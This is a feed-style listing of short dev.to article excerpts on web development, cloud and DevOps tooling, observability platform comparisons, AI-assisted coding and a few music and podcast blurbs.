    Progressive Web Apps: Building Offline-First UIs – Never Lose Your Users Again! Ever been browsing a website on your phone, only to have the page die the second you lose signal? Frustrating, right? In today's world, users expect a smooth, reliable experience, even when their internet connection is spotty. That's where Progressive Web Apps (PWAs) come in, and their ability to build offline-first UIs is a game-changer. Imagine you're running an e-commerce site. A user is browsing your products, adding items to their cart, and about to checkout. BAM! Lost connection. All that effort, gone. They're likely to abandon their cart and maybe even your site forever. Building offline-first solves this problem and offers huge benefits: Improved User Experience: Users can access content and functio…  ( 8 min )
    Day 27 of My AI & Data Mastery Journey: From Python to Generative AI
    Project:- Etch-A-Sketch App In this W – forward movement S – backward movement A – anti clockwise D – clockwise C – Clear and arrow must return to home. This can help us to draw anything using keys. Now Create multiple object from turtle class. Create Multiple object.  ( 6 min )
    Boost Developer productivity and DBOps efficiency with AWS Aurora Cloning
    Context There are numerous situations where we need an independent and isolated DB. For example, developers want to test their code or the Ops team needs to run upgrade tests and etc. The common approach is restoring a snapshot. However, it can become expensive and inefficient over time for repetitive tasks. The "AWS Aurora Clone" becomes handy in this situation, where it provides a more efficient solution in terms of operation and cost. The Aurora clone uses copy-on-write protocol and works in a way that it shares the same volume between the source and clone cluster(s), but the updates are only visible to the respective cluster. I have shared, how the Aurora clone has been integrated into our GH actions to enable developers, spin up an independent and isolated Aurora RDS cluster, which …  ( 7 min )
    From Idea to Alpha in 30 Days — Building SkillHunt as a Solo Founder
    Thirty days. No funding. No team. Just one laptop, too much coffee, and a clear mission: fix the broken hiring process. It started with frustration. Too slow. Too opaque. Too fragmented. I wanted to build something that felt human, fast, and transparent. So I set a challenge: Build the first working version in 30 days. The goal wasn’t to build everything. I wrote one question on my whiteboard: “What is the minimum version that delivers real value?” That became the filter for every decision. I cut out everything that didn’t directly help candidates or companies connect: no fancy dashboards no payment system no AI fluff (yet) Just jobs, profiles, filters — and the first mentors. The first milestone wasn’t “launch.” I built: Public candidate profiles Vacancy feed Dashboard for tracking Simple AI evaluation (keywords + relevance) Mentor cards and onboarding Telegram notifications When I deployed the first version, I had exactly 0 users. Momentum started. To move fast, I had to say “no” a lot. Company accounts? → later. Analytics dashboard? → later. Subscriptions? → later. AI matching? → partially mocked. If a feature didn’t help validate the core value — it waited. That’s how I shipped the alpha on time. The first 10 users taught me more than any product book. They didn’t care about “AI.” One message stuck with me: “For the first time, I actually see who posted the job.” That’s when I realized — transparency is the feature. Constraints are your best friend. Launch ugly. Talk to real people. Ship > plan. Now SkillHunt has: 15+ registered users Real vacancies First mentors onboard AI evaluation prototype A public alpha live at skillhunt.pro The mission remains the same: Make hiring transparent, fast, and human. It’s still early — but this is just the start. Building SkillHunt alone was intense — but deeply rewarding. If you’re building something — start small, ship fast, and listen hard. Thanks for reading🚀  ( 7 min )
    Is Vibe Coding Creating a Digital Universe-25? The Hidden Risk of Losing Purpose in an AI-Assisted World
    The Day GitHub Copilot Changed How We Code When GitHub Copilot rolled out broadly in 2023–2024, the reaction was excitement. Faster coding Fewer bugs Less time searching StackOverflow A personal assistant inside your IDE Developers didn’t just gain speed — they gained relief. But something subtle followed. Junior developers stopped learning how to reason about problems. Senior developers began to approve code instead of designing it. Debugging turned into prompt tweaking. Understanding turned into confirmation bias. No one complained, because everything looked efficient. But beneath the surface, a quiet shift was happening. If AI writes the code, what does the developer create? This isn’t a productivity debate. It’s a purpose debate. In the 1960s, researcher John B. Calhoun…  ( 7 min )
    🌩️ What Is Cloud Native? Key Features and Uses
    What Is Cloud Native? Key Features and Uses In the rapidly evolving world of cloud computing, the term Cloud Native has become more than just a buzzword — it’s a revolution in how modern applications are built, deployed, and scaled. Whether you’re a DevOps engineer, a cloud architect, or a developer starting your journey, understanding cloud-native concepts is essential to designing resilient, scalable, and agile applications in today’s multi-cloud environment. Let’s dive deep into what Cloud Native really means, why it matters, and how it’s transforming the way organizations innovate. Cloud Native refers to a modern approach to building and running applications that fully leverage the power of cloud computing — from infrastructure automation to continuous delivery and scalability on dem…  ( 9 min )
    How to Set Up an Automated WordPress LEMP Server with SSL on AWS (Using Ansible)
    Deploying a WordPress website doesn’t have to be manual or repetitive. By combining AWS EC2, Ansible, and the LEMP stack (Linux, Nginx, MySQL, PHP), you can automate the entire process — from server provisioning to SSL configuration — in one smooth run. In this guide, I’ll walk you through how I built an automated WordPress deployment with Let’s Encrypt SSL, running on an Ubuntu 24.10 EC2 instance, all managed through Ansible playbooks. What We’ll Cover Understanding the LEMP stack architecture Setting up AWS EC2 for automation Creating Ansible playbooks and roles Automating WordPress installation and SSL setup Troubleshooting common deployment issues Project Overview This project automates WordPress deployment on AWS using Ansible. It installs and configures: Lin…  ( 7 min )
    # ⚡ Requestly Local Workspace — Offline, Private & Fast API Testing
    As developers, we live and breathe APIs. We use tools like Requestly to intercept, modify, and test our network requests. It's an indispensable part of the modern development workflow. But what about when you're working on a flight, in a coffee shop with spotty Wi-Fi, or handling highly sensitive API keys that you'd rather not have synced to a cloud? This is where Requestly's Local Workspace feature changes the game. I recently spent time exploring this feature for the "No Bugs November" challenge and was blown away by its simplicity and utility. It addresses a core need for privacy, speed, and offline access. This post is a beginner-friendly guide to get you started with Requestly's Local Workspace, based on my own experience. We'll cover what it is, why you should use it, and how to set …  ( 9 min )
    The Vibe Coding Evolution: Why AI Needs Enterprise-Grade Team Features (And How Breaking Down Your Workflow Changes Everything)
    Hey dev.to community! This is my first post here, and I'm excited to jump in. As a full-stack developer and AI enthusiast, I've been experimenting a lot with AI in my coding workflow lately. I originally shared some of these thoughts on LinkedIn after a bit of a hiatus, but I figured this crowd would vibe with it too. Let's dive into what I've learned about "vibe coding" and why I think AI tools are ready for a team-level upgrade. The Vibe Coding Revelation I've done AI-assisted projects before, but here's what I'm realizing: the more you use AI, the better you get at using it. It's not just about crafting perfect prompts anymore. It's about understanding structure, knowing how to break things down, and letting AI handle what it does best while you architect the vision. I used to get back …  ( 7 min )
    Designing Fraud-Resistant Fintech Apps: Android Architecture That Actually Works (2025)
    Fraud-resistant fintech apps aren’t built by luck — they’re engineered. Modern Android apps must embed security as architecture, not as a patch. 💡 Key ideas: Use Clean Architecture + Ports & Adapters for isolation and testability Enforce Play Integrity API for device and app verification Protect secrets using Android Keystore + AES/GCM Enable biometric + device-bound signing for every high-value transaction Implement certificate pinning and secure networking Integrate feature flags + kill switches to react to fraud events instantly 🔐 Why this matters Fraud is evolving faster than features. Only a security-first architecture keeps fintech apps compliant, trusted, and scalable in 2025. 👉 Read the full deep-dive with Kotlin code, architecture diagrams, and real examples: Designing Fraud-Resistant Fintech Apps: Android Architecture That Actually Works (2025)  ( 6 min )
    Using aria-labelledby for accessible names
    When building UI, we often rely on icons or visual cues that don’t include visible text. While that might look clean, it can leave screen reader users guessing. aria-labelledby is one of the techniques we can use to give clear context to assistive technologies. aria-labelledby? aria-labelledby lets you reference visible text elsewhere in the DOM to create an accessible name for an element. It basically tells assistive technology: “Use this other element’s text to label me.” It’s commonly used when the text that explains an element is located outside the element itself. Edit Profile ✏️ Here, the button doesn’t have its own text label, but because it references dialog-title, assistive tech will announc…  ( 7 min )
    How macOS, Linux, and Windows detect file changes (and why it's hard to catch them)
    File watching seems simple on the surface: "tell me when a file changes" But the reality is three completely different APIs with three fundamentally different philosophies about how computers should monitor file systems. I recently spent weeks building FSWatcher, a cross-platform file watcher in Go, and the journey taught me that understanding file watching means understanding how each operating system approaches the problems differently. Apple's philosophy is to monitor directory trees, rather than individual files. // You say: "watch /Users/me/fswatcher" // macOS says: "OK, I'll tell you when ANYTHING in that tree changes" Pros Low CPU usage Efficient for large directories Event-driven (no polling) Cons Gives you directory-level info, not file-level Can flood you with redundant events …  ( 8 min )
    NPR Music: Emily King: Tiny Desk Concert
    Emily King’s Tiny Desk Concert is pure velvet vibes, with her silky voice wrapped around gut-wrenching breakup tunes like “Georgia” and “Down,” all lifted by dreamy harmonies from her ace band. Between songs, her excitement is contagious as she swaps stories with longtime collaborator Jeremy Most and revels in the joy of making music together. She leans into self-care anthems like the New Year’s pep talk “This Year” and reminds us that every “Special Occasion” shines brighter when shared. This set is a warm, uplifting reminder that even sorrow can bloom into celebration with the right soundtrack and squad. Watch on YouTube  ( 6 min )
    AI Detector Review: A Practical Look at Design, Features, and User Value
    In today’s digital age, AI-generated content has become ubiquitous—powering everything from blog posts and research papers to business proposals and marketing copy. But this convenience comes with hidden risks: academic misconduct, diluted brand voice, and compromised originality. For students, content creators, and professionals alike, distinguishing human-written text from AI-generated content has become a critical need. AI Detector steps in to solve this problem, promising “accurate AI detection instantly” with no sign-ups, no costs, and support for multiple file formats. In this review, I’ll break down its design, core features, strengths, areas for growth, and why it stands out as a go-to tool for anyone prioritizing originality. AI Detector embraces a “less is more” design philosoph…  ( 8 min )
    Convert PDF Tables to TXT and CSV in Java
    In today's digital world, data plays a crucial role in guiding business decisions. However, much of this valuable data is often locked within PDF documents, especially in the form of complex tables found in financial reports, contracts, invoices, and statistical data. Manually extracting data from these tables can be time-consuming, error-prone, and inefficient. Simple copy-pasting or text parsing often disrupts the structure of the tables, making it difficult to work with the data in a useful way. Efficiently extracting table data from PDFs and converting it into more accessible formats—like text files (TXT) or CSV—has long been a challenge for developers, data analysts, and project managers. In this article, we’ll take a closer look at the technical challenges involved in PDF table extra…  ( 9 min )
    Why End-to-End Testing Is Critical for Building Reliable Applications
    In the fast-moving world of software development, developers constantly deal with new frameworks, distributed systems, and microservices that make applications more powerful—but also more fragile. Even when individual components work perfectly, the moment they interact, unexpected issues can arise. That’s why end-to-end testing has become an essential part of modern development. It ensures that the application behaves correctly from the user’s perspective, validating entire workflows instead of isolated parts. End-to-end (E2E) testing verifies that all layers of an application—from the user interface to the backend, database, and external integrations—work together as intended. Unlike unit or integration testing, which focus on specific modules, E2E testing replicates real user scenarios. …  ( 7 min )
    Selenium - A heart hunter technology along with python framework
    Selenium is automation tool used to automate web application. Before we deep dive into the topic of selenium and its usage, let us have a look into quick recap on testing and basic of automation testing. Software Testing: Software testing is a process of checking whether the developed is right and to check we developed right product. Without software testing the steadiness and stability of the product in the market is question mark. We do test software in two major ways based on execution: Well, manual testing is testing done without any involvement of automation tools, solely executed by QA tester. On the other hands Automation testing is performed using test tools and test scripts. Automation testing is the process using software tools to execute the testcases, compare actual and expecte…  ( 10 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks That Halve Your Workload Use the Prompt Reversal Technique to reverse-engineer killer prompts, the 5-Minute Amplifier to spin one piece of content into multiple formats, the Red Team Technique to have AI critique its own work, and Blueprint Scaffolding to force ChatGPT to outline its reasoning before diving in. Each hack is shown with real-world examples you can plug into your routine right away. These methods have slashed my AI workflow by 50%, and they’re role- and industry-agnostic—meaning you’ll reclaim hours no matter what you do. Watch on YouTube  ( 6 min )
    How I Built a Tiny Tool That Makes Responsive Design Feel Effortless
    Setting the Stage Ever wondered why the features your favorite product promises often take longer than planned? Or why it sometimes feels like engineers deliver more promises than features? Considering how disappointing it feels, experiencing both sides of that letdown has taught me how crucial it is to deliver on time and with high quality. For frontend engineers, a core metric of their efficiency in replicating designs is how it looks on laptops, tablets, mobile devices, and large monitors: a phenomenon known as responsiveness. To achieve this, we define breakpoints: width thresholds that tell our layouts when to adapt. Here's the catch, though: during implementation of a design, browser debugging tools don’t show which breakpoint is currently active. Developers have to cross-check win…  ( 9 min )
    Go: Learning Journey Through Algorithms
    I've been working with Node.js and its ecosystem. Over the past few months, I've switched to Go and I'm getting huge enjoyment from its approach — on one hand, simplicity and no syntactic sugar (you can get diabetes from all the sugar in JS, it's too sweet🙃), on the other hand, incredible capabilities and a greater sense of being "close to hardware." I decided to document my learning notes in an open repo AlgoDSgo — specifically, implementations of classic algorithms in Go. This isn't production code, but educational examples with comments and Big O complexity analysis. Sure, there are hundreds of similar repos... so what's the value in opening another one? 👇 Classic solutions to classic CS problems, without over-engineering or language-specific optimizations, for clear understanding of the algorithm. Meaningful semantic naming Aiming for simple and idiomatic Go code Breakdowns and diagrams right in the comments Search algorithms: Binary, Linear, Jump, BFS, DFS Sorting algorithms: Bubble, Selection, Insertion, Merge, Quick, Quick In-Place, Heap LeetCode problems: Two Sum #1, Merge Sorted Array #88, Valid Palindrome #125 Interview exercises: Reverse String, Remove Duplicates, Remove Whitespaces, Longest Word I'm planning to expand it by adding data structures and more LeetCode problems. If you're also learning Go or algorithms — I'd be happy if this helps you and to hear your feedback! Repository: github.com/AshBuk/AlgoDSgo  ( 6 min )
    Tech Transformation: Driving Growth Through Dairy Farm Technology Adoption
    In today’s rapidly evolving agriculture and food-production landscape, the dairy industry stands at a pivotal juncture. Expanding consumer expectations for quality, sustainability, transparency, and cost-efficiency are urging dairy farms to reimagine how they operate. The most forward-looking small to mid-sized enterprises (SMEs) are embracing technological innovation not as a luxury but as a business-critical differentiator. At BrightPath Associates LLC, we recognize that while technology drives efficiency, its success depends on visionary leadership and the right talent to harness its full potential. A powerful convergence of economic, technological, and social factors is driving transformation across the dairy sector: 1. Cost and Margin Pressure: As commodity prices fluctuate, farmers f…  ( 9 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive with The Ringer Crew Bill Simmons teams up with Sean Fennessey and Van Lathan to wade through Brian De Palma’s cult classic Snake Eyes, unpacking Nic Cage’s swagger, Gary Sinise’s turn as corrupt cop Rick Santoro, and Carla Gugino’s femme-fatale vibes. Along the way they celebrate the movie’s slick visuals, twisty plot, and De Palma’s signature style—plus plenty of locker‐room banter about what still holds up (and what doesn’t). This episode, produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, is powered by PayPal—score 5% cash back when you Pay in 4 through the holidays. Don’t miss a minute of the action as The Ringer’s finest resurrect one of the ’90s most underrated thrillers. Watch on YouTube  ( 6 min )
    Build an AI Summarizer Agent in TypeScript Using Mastra (Part 2): Connect to Frontend
    Series Navigation: Part 1: Building the Agent | Part 2: Connect to Frontend (You are here) In Part 1, we built a fully functional AI summarizer agent that can fetch content from URLs and generate intelligent summaries. Ai-summarizer-agent.com: Completed Part 1 of this series Basic knowledge of React and Next.js The AI Summarizer Agent from Part 1 (code available on GitHub) Let's start by setting up a Next.js project that integrates with our Mastra agent. If you're starting fresh, create a new Next.js app: npx create-next-app@latest ai-summarizer-app cd ai-summarizer-app When prompted, select: TypeScript: Yes ESLint: Yes Tailwind CSS: Yes src/ directory: Yes App Router: Yes Import alias: No (or default) The Mastra Client allows your frontend to communicate with your agents: npm inst…  ( 11 min )
    Saga Pattern in Distributed Transactions - With Examples in Go
    The Saga pattern Instead of relying on distributed locks that can block operations across services, Saga enables eventual consistency through a sequence of reversible steps, making it ideal for long-running business processes. In microservices architectures, maintaining data consistency across services is one of the most challenging problems. Traditional ACID transactions don't work when operations span multiple services with independent databases, leaving developers searching for alternative approaches to ensure data integrity. This guide demonstrates Saga pattern implementation in Go with practical examples covering both orchestration and choreography approaches. If you need a quick reference for Go fundamentals, the Go Cheat Sheet provides a helpful overview. This nice image is generat…  ( 11 min )
    Aprenda Idiomas com a Ajuda de um Gem Personalizado
    Aprender um novo idioma pode ser desafiador, mas a tecnologia pode ser uma grande aliada nesse processo. Um gem, ou assistente virtual, é uma ferramenta que pode ajudá-lo a praticar vocabulário, gramática, conversação e compreensão auditiva de forma interativa. Neste artigo, vou mostrar um passo a passo simples para você criar seu próprio gem para estudar idiomas, mesmo que nunca tenha trabalhado com inteligência artificial antes. Antes de criar seu gem de estudo de idiomas, você precisa ter acesso à plataforma Gemini, que permite criar e treinar assistentes virtuais. Siga estas etapas: Crie uma conta no Gemini Acesse o site oficial do Gemini. Clique em “Sign Up” ou “Cadastrar-se” e preencha os dados necessários. Confirme seu e-mail para ativar a conta. Dica para estudantes: Se você poss…  ( 10 min )
    NestJS Typescript: The Ultimate Guide (2023)
    NestJS is one of the fastest-growing typescript frameworks in the Node.js ecosystem. You will learn Nest.js from scratch to an advanced level using TypeScript. This guide will learn a fascinating framework in the Node.js and TypeScript ecosystem. Before continuing with this guide, you will need to understand what server-side web programming, frameworks, general Knowledge of JavaScript, TypeScript, and NodeJS are, which will aid your understanding of the NestJS framework. Typescript: The Complete Developer’s Guide is my all-time TypeScript best course. You will master Typescript by learning popular design patterns and building complex projects with it. Includes React and Express! You will learn the Nestjs typescript framework from scratch to an advanced level and how to install Node.js…  ( 18 min )
    Announcing LightningChart JS 8.1
    LightningChart JS is a GPU-accelerated and WebGL-rendered charting library for creating JavaScript data-intensive applications. LightningChart JS features an extensive library of 2D & 3D charts: Line charts Heatmaps Mesh models Medical charts DataGrids Statistic charts and more In this new release, LightningChart JS 8.1 introduces new features, performance improvements, and developer experience upgrades. Here are the highlights: Heatmap & Surface Contours Heatmap Min–Max Aggregation heatmapSeries.setAggregation(‘max’). 3D LineSeries Value Coloring Inset Custom Ticks Custom Cursor Styles Rectangle Series Heatmap Flat Array Input: Supports flat and Typed Arrays for faster data loading and lower memory use. Read the full release LightningChart JS 8.1 note. Written by: Send me your questions via LinkedIn  ( 6 min )
    Localizing React re-renders: the magic of compositional boundaries
    Ever felt your UI lag when nothing “should” be slow? That’s when localizing re-renders works wonders. It’s not about micro-optimizations, it’s about owning your composition structure. 1) Split context responsibilities const SetItemContext = createContext>(() => {}); const ItemContext = createContext(0); export const Provider = ({ children }: { children: React.ReactNode }) => { const [item, setItem] = useState(1); return ( {children} ); }; Consumers tied only to the setter won’t re-render on value change. 2) Optimize TanStack Query subscriptions Avoid destructuring query results before returning them from your custom ho…  ( 7 min )
    🌀 The Circular Profile Showcase Protocol: Amplify Your Online Presence Across GitHub, LinkedIn, Dev.to, WordPress & Hashnode
    As engineers, we often maintain multiple online profiles — GitHub, LinkedIn, Dev.to, WordPress, Hashnode — each serving a unique purpose. What if you could build a simple, repeatable flow that connects all your profiles into a self-sustaining loop? Your GitHub profile is often the first touchpoint for other developers. It’s where your projects live and where people get a sense of your technical skills. 👉 Here’s how to leverage it: Add your LinkedIn profile link in your GitHub bio. Use your GitHub profile README to highlight your best projects and end with a call to action: “👉 Let’s connect on LinkedIn for more updates and discussions.” Anyone impressed by your code should have a direct pathway to your professional network. LinkedIn is fantastic for networking, but not ideal for long-form…  ( 8 min )
    The Prompt Engineer is Dead. Long Live the AI Systems Architect.
    A hands-on guide to architecting multi-agent AI systems in Python instead of just writing prompts. Stop being a user, start being a builder. Alright, let's have a real talk, dev to dev. The term "Prompt Engineering" is starting to feel like "Webmaster" did in the early 2000s. It was a useful descriptor for a brief, transitional moment, but it fundamentally misunderstands the real, durable skill that’s emerging. We've all seen the flood of "ultimate prompt cheat sheets" and CO-STAR frameworks. They’re fine. They teach you how to ask a question a little better. But if your primary value is your ability to craft a clever prompt, your job has a terrifyingly short half-life. The models are getting too good, too fast. They are learning to understand intent, making prompt-level tricks increasin…  ( 10 min )
    WTF is chaos engineering?
    Welcome to "WTF is this," the daily blog series where we dive into the weird and wonderful world of emerging tech trends. Today, we're tackling a term that sounds like it was plucked straight from a sci-fi novel: chaos engineering. Because, you know, what's more exciting than intentionally causing chaos? So, what is chaos engineering? In simple terms, chaos engineering is the practice of intentionally introducing faults or failures into a system to test its resilience and ability to recover. Think of it like a firefighter setting small, controlled fires to test the fire department's response time and strategy. By simulating real-world failures, chaos engineers can identify potential weaknesses and improve the overall reliability of a system. But why is chaos engineering trending now? Well,…  ( 10 min )
    How to Design a Color Theory Palette using 3D CAD Software
    How to Design a Color Theory Palette using 3D CAD Software https://www.selfcad.com/tutorials/1o505a2l213l5n1v1ps0565wy462yn4m1y5v Once you launch the editor; https://www.selfcad.com/tutorials) available on the SelfCAD website. The tutorials page provides a treasure trove of guides, tips, and tricks that cater to designers of all levels. https://www.selfcad.com/academy/curriculum/), https://www.youtube.com/@3dmodeling101, and 3D Modeling 101 series (https://www.youtube.com/playlist?list=PL74nFNT8yS9DcE1UlUUdiR1wFGv9DDfTB). This comprehensive resource offers in-depth courses taught by industry experts, allowing you to master the intricacies of SelfCAD at your own pace  ( 8 min )
    MySQL HeatWave: Connecting and Managing DB Systems
    MySQL HeatWave provides a fully managed database service with robust connectivity options and comprehensive management capabilities. Understanding how to properly connect to your DB system and perform essential management operations is fundamental for database administrators and developers working with MySQL HeatWave. This guide covers everything from understanding DB system endpoints and establishing secure connections to managing the lifecycle of your DB system through the OCI console and command-line tools. The database system endpoint is where clients such as MySQL Shell, MySQL Client, MySQL Workbench, and your applications can connect to MySQL HeatWave. The endpoint serves as the connection point for all database operations. A MySQL HeatWave DB system endpoint consists of three key el…  ( 17 min )
    Code legacy: Analyzing Erlang's C and C++ modules that have been running for decades
    Code for some Erlang/OTP modules is older than most modern junior developers. These files are the true digital patriarchs. For decades, they have made sure that banking transactions, telephone networks, and messaging systems are all working properly. We decided to take a look under the hood of this long-lived language to see what exactly lies behind the lines that millions of users rely on today. In this article, let's see what we found. Before we move on to discussing warnings, I'd like to say a few words about the project. Erlang's journey began back in 1986 in one of Ericsson's laboratories. Joe Armstrong was experimenting with Prolog while trying to build a telephony program. Those experiments eventually gave birth to Erlang. Erlang is a programming language designed for fault-toleran…  ( 22 min )
    🚀 Introducing ArkenoPlay: Let’s Build Together!
    Hello Dev Community 👋, We are Arkeno, an organisation with many fields, such as chess, sports, and more. But best of all coding, and we’re looking to collaborate with other active teams (especially small orgs with fewer than 10 people). If you’re passionate about open‐source, games, or web development, we’d love to connect! 🌐 Website: arkeno-org.github.io 🐙GitHub: Arkeno-Org 📧Email: arkeno.auto.main@gmail.com We’re currently building ArkenoPlay, a new version of Arkeno Play.io. The idea is simple but powerful: Developers can create games and send them to Arkeno. It’s 100% web‐integrated, no downloads required. It will feature a full account system connected to the Arkeno Account System. All developers will get to keep rights of code and get special roles in Arkeno! We’re working with: HTML CSS JavaScript Python If you’re comfortable with these languages—or just curious and eager to learn—you’ll fit right in. Open‐source thrives on collaboration. By joining us, you’ll: Contribute to a growing project from the ground up. Learn and share skills in web dev and game dev. Be part of a friendly, small team where every contribution matters. We’re especially excited to connect with other small organisations who want to grow together. If this sounds interesting, reach out! Comment below 👇 Email us at arkeno.auto.main@gmail.com Or jump straight into our GitHub org: Arkeno-Org If you can't find where to start? Here are some good first issues you could fix! Let’s make something amazing together. 🌟 Opensource, Collaborate, Dev, Arkeno, Web, Webdevelopment  ( 6 min )
    Building Software in the Age of AI: The Mindset Shift and the Playbook That Actually Works
    AI is rewriting how software is built, not by replacing engineers but by redefining how teams think, plan, and deliver. The hardest part isn’t the technology, it’s the mindset shift required to make it actually work. After more than 15 years leading large-scale transformation programs across industries, continents, and technology waves, one lesson remains constant: every time a new capability arrives, we rush to adopt it before truly understanding how it fits our operating model. Whether it was cloud, DevOps, or now AI, the pattern repeats, organizations underestimate the cultural, architectural, and process redesign required to make new technology sustainable. When teams dive in without structured learning or disciplined experimentation, the result is inefficiency disguised as innovation.…  ( 9 min )
    Top 9 Lightstep (ServiceNow) Alternatives in 2025 (And How to Migrate)
    ServiceNow recently announced the end-of-life (EOL) for Lightstep, now known as Cloud Observability. Support will officially end on March 1, 2026, or at the end of your contract, and ServiceNow has confirmed there will be no direct replacement or migration path. This news can be disruptive for engineering teams who rely on Lightstep for critical observability. The announcement highlights a significant risk in relying on proprietary, closed-source tools for essential infrastructure. At SigNoz we believe critical infra shouldn’t hinge on a vendor’s roadmap. Observability is too critical a piece to leave to such risks. With open source, you always have an escape hatch. If you're now searching for a stable, future-proof alternative to Lightstep, you're in the right place. This guide will walk …  ( 15 min )
    Chronosphere vs Datadog: Which Observability Platform is Right for You in 2025?
    As organizations adopt cloud-native architectures like microservices and Kubernetes, they face an explosion of telemetry data. This data is essential for understanding system health, but it also brings significant challenges: soaring costs, tool fragmentation, and persistent alert fatigue for on-call engineers. Choosing the right observability platform is critical to managing this complexity. In the observability space, Datadog and Chronosphere are two popular solutions. Datadog is the established, all-in-one market leader, known for its broad feature set and ease of use. Chronosphere is a newer, cloud-native challenger focused on taming data at scale and improving the on-call experience. This article provides a detailed comparison of Chronosphere and Datadog to help you decide which platf…  ( 12 min )
    ⚡ Real-Time Notifications: How Instant Updates Can Make or Break Your App
    “Five seconds.” That’s how long it took for everything to go wrong. Our team had just launched a promising app for event updates. We’d built a clean interface, solid backend, and smooth UX — or so we thought. But during the launch event, users began missing critical notifications. Updates were delayed by just five seconds. Sounds small, right? But in a world of instant expectations, five seconds is an eternity. That experience taught us one key truth: 👉 If your app isn’t real-time, it’s already behind. 🧠 Why Real-Time Notifications Matter Let’s face it — users today live in a fast-feedback world. Whether it’s a stock alert, chat message, food delivery update, or breaking news, people want to know now, not later. In modern app development, real-time notifications are no longer a luxury; t…  ( 8 min )
    Sumo Logic vs. Datadog: The Definitive Comparison for 2025
    Datadog and Sumo Logic, both offer powerful tools to monitor applications. While they often appear in the same conversations, they were built with different core philosophies that shape their features, costs, and the day-to-day experience for engineers. Datadog is widely recognized as a market leader in infrastructure and application performance monitoring (APM). Sumo Logic, conversely, established its roots in log management and security analytics, positioning itself as a converged platform for both observability and security operations. This article provides a definitive, deep-dive comparison of Sumo Logic vs. Datadog. We'll go beyond marketing features to explore the technical details that matter most during implementation and incident response, from data path control to agent overhead.…  ( 13 min )
    Datadog vs Zabbix in 2025 - Features, Pricing, On-prem vs SaaS, and More
    TL;DR: When to Choose Each Choose Datadog if: You need a managed (SaaS) platform for full-stack observability (metrics, traces, logs). Your team values speed, minimal setup, and a polished UI, and you have the budget for a per-use subscription. Choose Zabbix if: Your primary need is on-premise infrastructure and network monitoring. You prioritize zero licensing cost and total data control, and your team has the expertise to install, manage, and scale a self-hosted solution. Consider SigNoz if: You want the all-in-one (metrics, traces, logs) experience of Datadog but with the open-source, self-hosted flexibility. You're looking for a cost-effective, OpenTelemetry-native alternative without Datadog's high cost or Zabbix's lack of native APM. Teams looking for a monitoring solution face a key…  ( 13 min )
    10 Best Zabbix Alternatives in 2025 (Self-Hosted, Open Source, and SaaS)
    TL;DR: Too heavy for small setups or homelabs: pick a lighter self-hosted tool like Netdata, LibreNMS, or Checkmk. Don’t want to run and patch Zabbix yourself: go for a managed/commercial option like Datadog or PRTG Network Monitor. Need all-in-one observability for Kubernetes/microservices (APM + logs + metrics): use SigNoz or build Prometheus + Grafana. Zabbix is a veteran in the IT monitoring world. It's open-source, powerful, and exceptionally good at deep infrastructure and network monitoring. For many organizations, it's a reliable workhorse for tracking server health, network devices via SNMP, and service availability. But it's not a one-size-fits-all solution. As infrastructures evolve, many teams find themselves looking for an alternative. The "best" alternative depends entirely o…  ( 14 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins kicked off NPR’s Tiny Desk with a mega-distorted bass line, relentless hip-hop beats and raspy yowls. London duo Amy Love and Georgia South didn’t ease in—“Cleopatra” tells haters to kick rocks, “Monsters” is a fierce shadow-self showdown, and between songs they duck under the desk to tweak their spaceship-sized pedalboards (they proudly admit they’re “massive pedal nerds”). They even strap on a Harp Blaster mic for “Hummingbird,” giving it supernatural vibes, then crank everything up for the heavy-rock finale “Choose Your Fighter.” It’s a bass-heavy, boundary-smashing set that flips the “nice, polite girls” script on its head. Watch on YouTube  ( 6 min )
    Logz.io vs Datadog (2025) - OpenSearch/Prometheus vs Proprietary
    TL;DR: Choose Datadog if: You need a powerful, all-in-one SaaS platform, value a polished user experience, and require the broadest range of (1,000+) turnkey integrations. It "just works" out of the box, but you should budget carefully for its per-host and per-event pricing, which can get expensive at scale. Choose Logz.io if: Your team is already familiar with open-source tools like OpenSearch (ELK), Prometheus, and Jaeger, and you want a managed version without the maintenance overhead. Its consumption-based pricing is more predictable for logging, and it offers strong tools for cost control. Consider SigNoz if: You are building on OpenTelemetry and want a truly OTel-native platform. This avoids vendor lock-in and gives you the choice of a transparent cloud offering or a self-hosted comm…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch with Bill Simmons, Sean Fennessey & Van Lathan Ringer Movies’ trio—Bill Simmons, Sean Fennessey, and Van Lathan—dive deep into Brian De Palma’s 1998 thriller Snake Eyes, starring Nicolas Cage, Gary Sinise, and Carla Gugino. They chew over the film’s wild “sewer king” moments, directorial flair, and what still holds up (and what doesn’t) 25 years later. Producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo keep the conversation flowing in this PayPal-sponsored episode—perfect for anyone who loves behind-the-scenes movie chatter with a side of irreverent humor. Watch on YouTube  ( 6 min )
    How to Sync Anything: Building a Sync Engine from Scratch — Part 1
    There’s an old saying I paraphrased in this by now ancient tweet[sic]: “Friends don’t let friends build their own {CRYPTO, SYNC, DATABASE}.” — @janl on September 24th, 2014 What do I mean by that? Note: This is part of our series demystifying synchronisation. See our other instalments: How to Sync Anything: Introduction, How to Sync Anything: Building a Sync Engine from Scratch — Part 2 and How to Sync Anything: Building a Sync Engine from Scratch — Part 3 Well, it’s very hard to get these things right. Additionally, not getting them right will mean a lot of unhappy developers and end-users. In other words, these things are best left to the experts. However. Brought to its logical conclusion, we’ll end up with a situation where nobody is doing crypto, sync or databases anymore, because n…  ( 11 min )
    ✨ Two New Tools Are Live on QuickZap
